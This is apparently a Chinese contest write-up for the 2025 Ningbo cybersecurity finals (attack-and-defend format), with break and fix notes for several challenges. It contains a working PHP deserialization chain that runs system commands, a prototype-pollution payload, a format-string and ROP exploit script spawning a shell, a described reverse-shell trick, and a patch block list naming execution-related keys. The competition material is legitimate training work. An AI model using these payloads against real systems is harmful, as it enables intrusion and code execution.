CTF | 17分钟
2025宁波市第八届网络安全大赛决赛Writeup
九月 6, 2025
AWDP 反序列化 管道符截断 环境变量反弹Shell SSTI Node.js 格式化字符串漏洞 堆溢出 GTFOBins

很幸运的拿到了榜一,队友太强了,AWDP玩的很少,不过这次break 和 fix都有成果。

Break 第一,Fix 第四

[web] easyUpload

break

F12检查图片,发现通过/show.php?file=img/1.png来读取

任意文件读取,flag被ban,读index.php源码

php
 1<?php
 2Class Dog {
 3    public $bone;
 4    public $meat;
 5    public $beef;
 6    public $candy;
 7    public function __invoke() {
 8        if ((md5($this->meat) == md5($this->beef)) && ($this->meat != $this->beef)) {
 9            return $this->candy->flag;
10        }
11    }
12
13    public function __toString() {
14        $function = $this->bone;
15        return $function();
16    }
17}
18
19CLass mouse {
20    public $rice;
21
22    public function __get($key) {
23        @eval($this->rice);
24    }
25}
26
27class Cat {
28    public $fish;
29    public function __construct() {
30    }
31
32    public function __destruct() {
33        echo $this->fish;
34    }
35}
36
37// 处理文件上传
38$message = '';
39$success = false;
40if ($_SERVER['REQUEST_METHOD'] === 'POST') {
41    if (isset($_FILES['uploaded_file'])) {
42        $uploadDir = __DIR__ . '/uploads/';
43        $uploadedFile = $uploadDir . basename($_FILES['uploaded_file']['name']);
44
45        if (move_uploaded_file($_FILES['uploaded_file']['tmp_name'], $uploadedFile)) {
46            $message = '上传成功!';
47            $success = true;
48
49            $fileContent = file_get_contents($uploadedFile);
50            @unlink($uploadedFile);
51
52            @unserialize($fileContent);
53            $fileContent = "";
54
55            // 设置 session,表示上传成功
56            $_SESSION['upload_success'] = true;
57
58            // 重定向,防止刷新页面时重复提交表单
59            header("Location: " . $_SERVER['PHP_SELF']);
60            echo $message;
61            exit();
62        }
63    }
64}
65?>
66<!DOCTYPE html>
67<html lang="zh-CN">
68...
69</html>

反序列化,经过一个md5绕过

php
 1<?php
 2// 启动 session
 3session_start();
 4
 5Class Dog {
 6    public $bone;
 7    public $meat;
 8    public $beef;
 9    public $candy;
10    public function __invoke() {
11        if ((md5($this->meat) == md5($this->beef)) && ($this->meat != $this->beef)) {
12            return $this->candy->flag;
13        }
14    }
15
16    public function __toString() {
17        $function = $this->bone;
18        return $function();
19    }
20}
21
22CLass mouse {
23    public $rice;
24
25    public function __get($key) {
26        @eval($this->rice);
27    }
28}
29
30class Cat {
31    public $fish;
32    public function __construct() {
33    }
34
35    public function __destruct() {
36        echo $this->fish;
37    }
38}
39
40
41$a = new Cat();
42$a->fish = new Dog();
43$a->fish->bone = new Dog();
44$a->fish->bone->meat = 's878926199a';
45$a->fish->bone->beef = 's155964671a';
46$a->fish->bone->candy = new mouse();
47$a->fish->bone->candy->rice = "system('cat /flag');";
48
49
50echo serialize($a);
51
52# O:3:"Cat":1:{s:4:"fish";O:3:"Dog":4:{s:4:"bone";O:3:"Dog":4:{s:4:"bone";N;s:4:"meat";s:11:"s878926199a";s:4:"beef";s:11:"s155964671a";s:5:"candy";O:5:"mouse":1:{s:4:"rice";s:20:"system('cat /flag');";}}s:4:"meat";N;s:4:"beef";N;s:5:"candy";N;}}

[web] img2base64

break

我觉得这题是最难的一题,现场也没几个人做出来

用到一些小trick

首先要绕一些字符,管道符截断,环境变量反弹shell,无密码读取文件

小明打ctf上头了,发什么消息都用编码发送,于是他搭建了一个web服务用来将图片进行base64编码,粗心的小明没有考虑安全问题,你能帮他看看吗?

平台给了源码

python
 1import os
 2import re
 3import subprocess
 4from flask import Flask, request, render_template, jsonify
 5
 6app = Flask(__name__)
 7
 8UPLOAD_FOLDER = 'uploads/'
 9if not os.path.exists(UPLOAD_FOLDER):
10    os.makedirs(UPLOAD_FOLDER)
11
12app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER
13def checkname(filename):
14
15    ILLEGAL_CHARACTERS = r"[*=&\"%;<>iashto!@()\{\}\[\]_^`\'~\\#]"
16    noip = re.compile(r"\d+\.\d+")
17    if re.search(ILLEGAL_CHARACTERS, filename):
18        return False
19    if ".." in filename :
20        return False
21    if(noip.findall(filename)):
22        return False
23
24
25@app.route('/')
26def upload_form():
27    return render_template('upload.html')
28
29@app.route('/upload', methods=['POST'])
30def upload_file():
31    if 'file' not in request.files:
32        return jsonify({"error": "No file part in the request"}), 400
33
34    file = request.files['file']
35    if file.filename == '':
36        return jsonify({"error": "No file selected"}), 400
37    if(checkname(file.filename)==False):
38        return jsonify({"error": "Not hacking!"}), 500
39    if file:
40        file_path = os.path.join(app.config['UPLOAD_FOLDER'], file.filename)
41        file.save(file_path)
42        result = subprocess.run(f"cat {file_path} | base64", shell=True, capture_output=True, text=True)
43        encoded_string = result.stdout.strip()
44        return jsonify({
45            "filename": file.filename,
46            "base64": encoded_string
47        })
48
49if __name__ == '__main__':
50    app.run(host='0.0.0.0',port=5000)

公告有提示反弹shell,那就先把反弹的命令写进文件

代码执行的是cat {file_path} | base64

先通过|截断命令,然后使用$0来执行 cat 输出的内容,也就是反弹shell的命令

$0代表本文件,$1代表第1个参数,以此类推。$#代表参数个数

监听端口

没权限读flag

sudo -l查看有权限的命令,然后在GTFOBins查sudo语法

幸好本地部署了GTFOBins

不过这题队友出大力,推荐队友的一键部署环境脚本:https://github.com/dr0n1/CTF_misc_auto_deploy

[web] genshop

fix

太逆天了,我正在加各种过滤,结果rot-will把函数去掉就过了。

ssti的模板去掉直接过了

python
1# return render_template_string(f"<h3>{result}</h3>")
2return f"<h3>{result}</h3>"

[web] Easy_shop

break

打开是一个商店购买页面

将购买数量改成负数,可以增加金钱

购买flag,得到/showflag路由

访问是一个文件读取功能,读取../app.js

js
  1const express = require('express');
  2const app = express();
  3const fs = require('fs');
  4const port = 3000;
  5const bodyParser = require('body-parser');
  6
  7app.set('view engine', 'ejs');
  8app.use(express.static('public'));
  9app.use(bodyParser.urlencoded({ extended: true }));
 10
 11let money = 1000;
 12const initialMoney = 1000;
 13let message = '';
 14const products = [
 15  { name: '帽子', price: 10 },
 16  { name: '棒球', price: 15 },
 17  { name: 'iphone', price: 150 },
 18  { name: 'flag', price: 1500 },
 19];
 20
 21app.get('/showflag', (req, res) => {
 22  res.render('readfile');
 23});
 24
 25app.post('/readfile', (req, res) => {
 26  const fileName = req.body.fileName;
 27
 28  if (fileName.includes("fl")) {
 29    return res.status(200).send('你还真读flag啊');
 30  }
 31  // 读取文件内容
 32  fs.readFile("/app/public/"+fileName, 'utf8', (err, data) => {
 33    if (err) {
 34      res.status(500).send('Error reading the file');
 35    } else {
 36      res.send(data);
 37    }
 38  });
 39});
 40
 41
 42app.get('/', (req, res) => {
 43  res.render('index', { products, money, message });
 44});
 45
 46app.get('/buy/:productIndex', (req, res) => {
 47  const productIndex = req.params.productIndex;
 48  let quantity = req.query.quantity || 1; // 获取购买数量,默认为1
 49
 50  if (productIndex === '3') {
 51    quantity = Math.abs(quantity); // 取绝对值
 52    if (products[productIndex] && money >= products[productIndex].price * quantity) {
 53      money -= products[productIndex].price * quantity;
 54      message = `购买flag成功啦!给你/showflag这个路由,听说那里面有flag`;
 55
 56
 57      res.render('index', { products, money, message, showAlert: true });
 58    } else {
 59      message = 'flag很贵的';
 60      res.redirect('/');
 61    }
 62  }else{
 63    if (products[productIndex] && money >= products[productIndex].price * quantity) {
 64      money -= products[productIndex].price * quantity;
 65      message = `成功购买了 ${quantity} 件 "${products[productIndex].name}"!`;
 66
 67      // 使用 JavaScript 弹窗来显示购买成功消息
 68      res.render('index', { products, money, message, showAlert: true });
 69    } else {
 70      message = '购买失败,钱不够啊老铁.';
 71      res.redirect('/');
 72    }
 73  }
 74});
 75
 76
 77
 78function copy(object1, object2) {
 79  if (typeof object1 !== 'object' || object1 === null ||
 80      typeof object2 !== 'object' || object2 === null) {
 81    return;
 82  }
 83
 84  for (let key in object2) {
 85    if (
 86      typeof object2[key] === 'object' &&
 87      object2[key] !== null &&
 88      typeof object1[key] === 'object' &&
 89      object1[key] !== null
 90    ) {
 91      copy(object1[key], object2[key]); // ✅ 安全递归
 92    } else {
 93      object1[key] = object2[key]; // ✅ 直接赋值
 94    }
 95  }
 96}
 97
 98
 99app.post('/getflag', require('body-parser').json(), function (req, res, next) {
100  res.type('html');
101  const flagFilePath = '/flag';
102  let flag = '';
103  fs.readFile(flagFilePath, 'utf8', (err, data) => {
104    if (err) {
105      console.error(`无法读取文件: ${flagFilePath}`);
106    } else {
107      flag = data; // 将文件内容赋值给flag变量
108      var secert = {};
109      var sess = req.session;
110      let user = {};
111      copy(user, req.body);
112      if (secert.testattack === 'admin') {
113        res.end(flag);
114
115      } else {
116        return res.send("no,no,no!");
117      }
118    }
119  });
120});
121
122
123app.get('/reset', (req, res) => {
124  money = initialMoney;
125  message = '';
126  res.redirect('/');
127});
128
129app.listen(port, () => {
130  console.log(`Server is running on http://localhost:${port}`);
131});

逻辑很简单,copy函数有问题,一眼Node.js原型链污染

secert 是个空对象,但它和 user 在同一作用域下,需要控制 req.body 中的内容,污染secret

js
1{
2  "__proto__": {
3    "testattack": "admin"
4  }
5}

这题刚开始没说读取../app.js,我在fuzz的时候居然读到了1.txt、2.txt、3.txt,分别是:

txt
1在一个宁静的午后,阳光透过树叶洒在地面上,斑驳陆离。小镇的街道上行人稀少,只有微风轻轻拂过树梢,带来一丝初秋的凉意。远处传来几声悠扬的钟声,仿佛提醒人们,该是泡一壶茶、慢慢享受时光的时候了
2
3夜幕降临,城市的灯光次第亮起,仿佛点燃了沉睡的星辰。街角的咖啡店还亮着温暖的橘黄色灯光,一杯热饮静静地摆在窗边的桌上。外面车水马龙,人来人往,而屋内却是一方静谧的世界,时间在这里缓慢流淌,仿佛与喧嚣隔绝。
4
5清晨的山间薄雾弥漫,露珠挂在草叶上,闪烁着晶莹的光。远处传来鸟鸣声,唤醒了沉睡的森林。一位背着行囊的旅人正沿着蜿蜒的小径缓缓前行,每一步都踩在湿润的土地上,带着对未知的好奇,走向尚未被书写的旅程。

出现7个一,所以我尝试读取f1111111ag,或者其他变体,都不行。或者按照早中晚的顺序,对文件名排序,312,那是不是响应码改成312响应码呢?可是没有这个响应码。直到给出hint,我才知道这个毫无用处,纯属迷惑人的。

fix

只用修读取flag的关键漏洞就行,但我顺手把增加金钱数、任意文件读取这俩洞也修了。你还真读app.js啊 : )

js
 1app.post('/readfile', (req, res) => {
 2  const fileName = req.body.fileName;
 3
 4  if (fileName.includes("fl")) {
 5    return res.status(200).send('你还真读flag啊');
 6  }
 7  // 阻止读取源码
 8  if (fileName.includes("ap")) {
 9    return res.status(200).send('你还真读app.js啊');
10  }
11  // 读取文件内容
12  fs.readFile("/app/public/"+fileName, 'utf8', (err, data) => {
13    if (err) {
14      res.status(500).send('Error reading the file');
15    } else {
16      res.send(data);
17    }
18  });
19});
20
21app.get('/buy/:productIndex', (req, res) => {
22  const productIndex = req.params.productIndex;
23  let quantity = req.query.quantity || 1; // 获取购买数量,默认为1
24
25  if (productIndex === '3') {
26    quantity = Math.abs(quantity); // 取绝对值
27    if (products[productIndex] && money >= products[productIndex].price * quantity) {
28      money -= products[productIndex].price * quantity;
29      message = `购买flag成功啦!给你/showflag这个路由,听说那里面有flag`;
30
31      res.render('index', { products, money, message, showAlert: true });
32    } else {
33      message = 'flag很贵的';
34      res.redirect('/');
35    }
36  }else{
37    // 模仿上面对数量做绝对值,防止购买负数增加金钱
38    quantity = Math.abs(quantity); // 取绝对值
39    if (products[productIndex] && money >= products[productIndex].price * quantity) {
40      money -= products[productIndex].price * quantity;
41      message = `成功购买了 ${quantity} 件 "${products[productIndex].name}"!`;
42
43      // 使用 JavaScript 弹窗来显示购买成功消息
44      res.render('index', { products, money, message, showAlert: true });
45    } else {
46      message = '购买失败,钱不够啊老铁.';
47      res.redirect('/');
48    }
49  }
50});
51
52
53function copy(object1, object2) {
54  if (typeof object1 !== 'object' || object1 === null ||
55      typeof object2 !== 'object' || object2 === null) {
56    return;
57  }
58
59  for (let key in object2) {
60    // 过滤原型链污染常用字符串
61    if (key === 'outputFunctionName' || key === '__proto__' || key === 'constructor' || key === 'prototype' || key === 'return' || key === 'global' || key === 'process' || key === 'mainModule' || key === 'constructor' || key === 'child' || key === 'execSync' || key === 'escapeFunction' || key === 'client' || key === 'compileDebug') {
62      continue;
63    }
64
65    if (
66      typeof object2[key] === 'object' &&
67      object2[key] !== null &&
68      typeof object1[key] === 'object' &&
69      object1[key] !== null
70    ) {
71      copy(object1[key], object2[key]); // ✅ 安全递归
72    } else {
73      object1[key] = object2[key]; // ✅ 直接赋值
74    }
75  }
76}

[pwn] Cake_shop

break

存在格式化字符串

exp

python
 1from pwn import *
 2def nothing(data):
 3  p.sendlineafter(b'choice>>',b'4')
 4  p.sendlineafter(b'happens',data)
 5
 6def buy(num,data):
 7  p.sendlineafter(b'choice>>',b'1')
 8  p.sendlineafter(b'cake $100',str(num).encode())
 9  p.sendlineafter(b'shop',data)
10
11p=remote('10.1.108.15',9999)
12payload=b"aaa%15$p %13$p %17$pbbb"
13nothing(payload)
14p.readuntil(b'aaa')
15d0,d1,d2=p.readuntil(b'bbb',drop=1).split(b' ')
16elf_addr=int(d1,16)
17libc_addr=int(d2,16)
18e=ELF("./pwn")
19e.address=elf_addr-0x156a
20libc=ELF('./libc.so.6')
21libc.address=libc_addr-0x24083
22
23index=3+6
24a_addr=0x4010+e.address
25payload="%"+str(0xe0ff)+"c%9$hn%"+str(0x10000-0xe0ff+0x5f5)+"c%10$hn"
26payload=payload.ljust(24,'a').encode()
27print(payload)
28payload+=p64(a_addr)+p64(a_addr+2)
29nothing(payload)
30payload="%25600c%9$n".ljust(24,'a').encode()
31payload+=p64(0x4014+e.address)
32nothing(payload)
33
34context.log_level='debug'
35num=666
36p.sendlineafter(b'choice>>',b'1')
37p.sendlineafter(b'cake $100',str(num).encode())
38
39canary=int(d0,16)
40rdi=libc.address+0x23b6a
41ret=rdi+1
42bin_sh=next(libc.search('/bin/sh\x00'))
43system=libc.symbols['system']
44payload=b'a'*0x28+p64(canary)+p64(0xbfbfbfbf)
45payload+=p64(ret)+p64(rdi)+p64(bin_sh)+p64(system)
46p.send(payload)
47
48
49p.interactive()

fix

修改使用puts进行输出,成功修复

[pwn] stu_admin

fix

edit功能存在堆溢出,溢出了16字节

修复溢出

总结

整体难度比往年都要简单,就是搞不懂为什么check的轮次这么少,只有两轮,而且不返回check的结果

队友很厉害,不过这次也没有拖后腿,还是有Break 和 Fix成果的。